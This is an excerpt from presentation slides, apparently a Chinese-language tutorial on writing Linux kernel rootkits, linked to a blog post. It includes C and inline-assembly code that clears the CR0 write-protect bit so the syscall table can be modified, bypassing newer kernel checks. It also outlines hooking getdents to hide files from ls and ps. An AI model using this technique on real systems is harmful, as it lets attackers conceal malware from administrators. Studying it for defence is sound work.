Check out my blog : https://oalieno.github.io/2019/06/07/security/pwn/rootkit/
Introduction and implementation of rootkit. Targeting linux kernel 5.x.x.
47. sys_call_table 變可寫
•cr0 register 的其中⼀一個 bit 是代表 read-only 區段可不可寫
•改成 0 就通通可寫啦
A control register is a processor register which changes or controls the
general behavior of a CPU or other digital device
- wikipedia
48. sys_call_table 變可寫
void writable_unlock (void) {
unsigned long val = read_cr0() & (~X86_CR0_WP);
asm volatile("mov %0,%%cr0": "+r" (val));
}
void writable_lock (void) {
unsigned long val = read_cr0() | X86_CR0_WP;
asm volatile("mov %0,%%cr0": "+r" (val));
}
•write_cr0 這個 function 在 kernel 5.x.x 版加了了檢查
•不過我們直接寫 assembly 就好啦
49. 要 hook 哪個 syscall
•ps 做的事情就是去讀 /proc 底下所有檔案,基本上是 ls 的強化版,
那我們就先做 ls 隱藏檔案
•⼀一樣⽤用 strace ls 去看他呼叫了了哪些 syscall
•可以 hook getdents,在讀⽬目錄底下的檔案的時候就把不想要的丟掉